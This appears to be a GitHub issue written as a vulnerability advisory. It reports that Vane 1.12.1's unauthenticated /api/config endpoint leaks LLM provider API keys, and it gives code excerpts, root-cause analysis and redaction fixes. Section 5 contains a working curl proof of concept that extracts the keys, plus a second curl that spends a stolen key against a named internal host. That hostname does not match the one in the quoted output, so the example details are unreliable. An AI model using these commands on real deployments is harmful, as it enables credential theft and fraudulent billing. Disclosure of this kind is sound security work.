Skip to content

58ead8e7e02026029 #35

Description

@August829

CVE Report: API Key Exposure via Unauthenticated Configuration Endpoint

1. Summary

Field Details
Product Vane (ItzCrazyKns/Vane)
Version 1.12.1
Component Configuration API (GET /api/config)
Vulnerability Exposure of Sensitive Information to an Unauthorized Actor
CWE CWE-200
CVSS 3.1 Score 7.5 High
CVSS 3.1 Vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Authentication None required
Tech Stack Next.js 16 / TypeScript / SQLite / Node.js
License MIT

2. Description

Vane version 1.12.1 exposes an unauthenticated HTTP endpoint at GET /api/config that returns the application's complete configuration object, including all configured LLM provider API keys in plaintext. The endpoint performs no authentication, no authorization checks, and no field-level redaction of sensitive values before serializing the response.

Any network-adjacent or remote attacker capable of reaching the Vane service port (default: 3001) can retrieve every API key configured in the system with a single HTTP request. This includes keys for OpenAI, Anthropic, Google Gemini, Groq, Ollama, and any other model provider configured by the operator, as well as internal infrastructure URLs that may reveal organizational network topology.


3. Affected Files

3.1. src/app/api/config/route.ts (lines 11-43)

The GET handler retrieves the full configuration via configManager.getCurrentConfig() and returns it directly to the client with no filtering or masking:

export const GET = async (req: NextRequest) => {
  try {
    const values = configManager.getCurrentConfig();
    const fields = configManager.getUIConfigSections();

    const modelRegistry = new ModelRegistry();
    const modelProviders = await modelRegistry.getActiveProviders();

    values.modelProviders = values.modelProviders.map(
      (mp: ConfigModelProvider) => {
        const activeProvider = modelProviders.find((p) => p.id === mp.id);

        return {
          ...mp,
          chatModels: activeProvider?.chatModels ?? mp.chatModels,
          embeddingModels:
            activeProvider?.embeddingModels ?? mp.embeddingModels,
        };
      },
    );

    return NextResponse.json({
      values,
      fields,
    });
  } catch (err) {
    console.error('Error in getting config: ', err);
    return Response.json(
      { message: 'An error has occurred.' },
      { status: 500 },
    );
  }
};

Key observations:

  • No authentication middleware or token validation is applied to this route.
  • The values object is returned as-is. The spread operator (...mp) copies every property from each ConfigModelProvider, including the config map that holds API keys.

3.2. src/lib/config/index.ts (lines 8-10, 128-133, 383-385)

Configuration is stored in a plaintext JSON file and returned without redaction:

// Lines 8-10: Config file path
configPath: string = path.join(
  process.env.DATA_DIR || process.cwd(),
  '/data/config.json',
);
// Lines 128-133: Config persisted as plaintext JSON
private saveConfig() {
  fs.writeFileSync(
    this.configPath,
    JSON.stringify(this.currentConfig, null, 2),
  );
}
// Lines 383-385: Deep copy returned with no redaction
public getCurrentConfig(): Config {
  return JSON.parse(JSON.stringify(this.currentConfig));
}

The getCurrentConfig() method performs a deep clone via JSON.parse(JSON.stringify(...)) but applies no filtering, masking, or removal of sensitive fields. The full modelProviders[].config object -- containing apiKey, baseURL, and other secrets -- is included in the returned copy.

3.3. src/lib/config/types.ts (lines 53-61)

The ConfigModelProvider type defines the config field as an unconstrained dictionary, which is the container for API keys:

type ConfigModelProvider = {
  id: string;
  name: string;
  type: string;
  chatModels: Model[];
  embeddingModels: Model[];
  config: { [key: string]: any };  // <-- holds apiKey, baseURL, etc.
  hash: string;
};

4. Attack Flow

Attacker                          Vane Server
   |                                     |
   |  GET /api/config                    |
   |  (no auth headers required)         |
   | ----------------------------------> |
   |                                     |
   |           route.ts GET handler      |
   |           calls getCurrentConfig()  |
   |                                     |
   |           ConfigManager returns     |
   |           deep copy of full config  |
   |           (no field redaction)       |
   |                                     |
   |  200 OK                             |
   |  { values: { modelProviders: [      |
   |      { config: { apiKey: "..." } }  |
   |    ] } }                            |
   | <---------------------------------- |
   |                                     |
   |  Attacker extracts API keys         |
   |  from response body                 |
  1. Attacker sends an unauthenticated GET request to /api/config.
  2. The Next.js route handler invokes configManager.getCurrentConfig().
  3. getCurrentConfig() returns a deep clone of the entire currentConfig object, including all modelProviders entries.
  4. Each provider's config map (containing apiKey, baseURL, and other sensitive fields) is serialized into the JSON response.
  5. The response is returned to the attacker with HTTP 200.
  6. Attacker parses the JSON and extracts all API keys and infrastructure URLs.

5. Proof of Concept

5.1. Exploit Command

$ curl -s http://localhost:3001/api/config | python3 -c "
import sys, json
c = json.load(sys.stdin)
for p in c['values']['modelProviders']:
    print(f'{p[\"name\"]}: {p[\"config\"]}')
"

5.2. Observed Output (from live instance)

OpenAI: {'apiKey': '123123123',
         'baseURL': 'https://aiplatform.123.com/chat/completions'}
Ollama: {'baseURL': 'http://host.docker.internal:11434'}

The response disclosed:

  • A valid OpenAI-compatible API key in plaintext.
  • An internal corporate URL (aiplatform.dev51.cbf.dev.paypalinc.com) revealing organizational infrastructure.
  • Complete Ollama provider configuration including internal Docker networking details.
  • All other configured provider entries with their full configuration maps.

5.3. Additional Attack Vectors

With extracted API keys, an attacker can:

# Use stolen key to make API calls billed to the victim
$ curl https://aiplatform.dev51.cbf.dev.paypalinc.com/chat/completions \
  -H "Authorization: Bearer 123123123" \
  -H "Content-Type: application/json" \
  -d '{"model":"gpt-4","messages":[{"role":"user","content":"test"}]}'
Image

6. Impact Assessment

Impact Area Severity Description
API Key Theft Critical All configured LLM provider API keys (OpenAI, Anthropic, Groq, etc.) are exposed. Attackers can impersonate the organization and consume paid API quotas.
Financial Loss High Stolen API keys can be used to generate unbounded LLM usage costs billed to the victim.
Internal Infrastructure Exposure High Internal corporate URLs and network topology details are leaked (e.g., internal hostnames, Docker networking).
Lateral Movement Medium Exposed internal URLs may serve as a foothold for further reconnaissance or attacks against internal services.
Credential Reuse Medium API keys may be reused across services; compromise of one key may grant access to additional systems.
Regulatory / Compliance Medium Uncontrolled exposure of credentials may violate PCI-DSS, SOC 2, or organizational security policies.

7. Root Cause Analysis

The vulnerability arises from the convergence of three design flaws:

  1. No authentication on the configuration endpoint. The GET /api/config route handler in src/app/api/config/route.ts does not enforce any authentication or authorization. There is no middleware, session check, API token validation, or IP allowlist protecting the endpoint.

  2. No field-level redaction of sensitive data. The getCurrentConfig() method in src/lib/config/index.ts returns the full configuration object as a deep copy without removing or masking sensitive fields such as apiKey. The type system (ConfigModelProvider.config: { [key: string]: any }) provides no structural distinction between public and secret configuration values.

  3. Plaintext storage of secrets. API keys are stored in data/config.json as plaintext strings alongside non-sensitive configuration. There is no encryption at rest, no use of environment-variable-only secrets, and no vault integration. This amplifies the impact: the on-disk file is also a target.


8. Remediation Recommendations

8.1. Immediate Mitigations (Short-term)

  1. Redact sensitive fields before returning configuration to clients. Create a sanitization function that strips or masks all apiKey values and other secrets from the response:
function redactConfig(config: Config): Config {
  const redacted = JSON.parse(JSON.stringify(config));
  redacted.modelProviders = redacted.modelProviders.map(
    (mp: ConfigModelProvider) => ({
      ...mp,
      config: Object.fromEntries(
        Object.entries(mp.config).map(([key, value]) => [
          key,
          key.toLowerCase().includes('key') || key.toLowerCase().includes('secret')
            ? (typeof value === 'string' && value.length > 0
                ? value.slice(0, 4) + '****'
                : '')
            : value,
        ]),
      ),
    }),
  );
  return redacted;
}
  1. Add authentication middleware to the /api/config route. At minimum, require a session token or shared secret before serving configuration data.

  2. Restrict network access. If Vane is not intended to be publicly accessible, bind the service to 127.0.0.1 or place it behind an authenticated reverse proxy.

8.2. Long-term Fixes

  1. Separate public and private configuration. Introduce distinct data structures for client-visible settings (theme, preferences) and server-only secrets (API keys, internal URLs). Never serialize server-only fields into API responses.

  2. Encrypt secrets at rest. Replace plaintext storage in data/config.json with encrypted values or integrate a secrets manager (e.g., environment variables, HashiCorp Vault, AWS Secrets Manager).

  3. Type-level enforcement. Annotate configuration fields with a sensitive: boolean flag in the type system so that serialization logic can automatically redact marked fields.

  4. Audit the POST /api/config endpoint. The same route file contains an unauthenticated POST handler (lines 45-77) that allows arbitrary configuration updates, which is a separate but related vulnerability (configuration tampering).


9. References

Resource URL
CWE-200: Exposure of Sensitive Information https://cwe.mitre.org/data/definitions/200.html
OWASP API Security Top 10 - API3:2023 Broken Object Property Level Authorization https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/
OWASP API Security Top 10 - API2:2023 Broken Authentication https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/
Vane GitHub Repository https://github.com/ItzCrazyKns/Vane
CVSS 3.1 Calculator https://www.first.org/cvss/calculator/3.1
NIST NVD CWE-200 https://nvd.nist.gov/vuln/detail/cwe-200

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions